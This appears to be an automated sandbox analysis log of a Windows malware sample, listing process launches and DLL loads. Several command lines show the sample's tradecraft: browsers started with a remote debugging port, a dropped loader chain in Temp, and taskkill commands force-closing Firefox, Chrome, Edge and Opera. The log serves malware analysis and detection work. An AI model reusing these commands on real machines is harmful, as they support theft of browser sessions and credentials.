Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe "C:\Users\user~1\AppData\Local\Temp\1006996001\4ff2bfa33f.exe"
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDHIEGCFH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2060,i,2647942614130931966,15784905078428545110,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2264,i,2609395164648408671,7416745225154322423,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe "C:\Users\user~1\AppData\Local\Temp\1006992001\5454ad7c1c.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6912 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\DocumentsCGDHIEGCFH.exe "C:\Users\user\DocumentsCGDHIEGCFH.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe "C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCGDHIEGCFH.exe "C:\Users\user\DocumentsCGDHIEGCFH.exe"
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe "C:\Users\user~1\AppData\Local\Temp\1006992001\5454ad7c1c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe "C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe "C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe "C:\Users\user~1\AppData\Local\Temp\1006995001\3afa1b1567.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe "C:\Users\user~1\AppData\Local\Temp\1006996001\4ff2bfa33f.exe"
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: wldp.dll
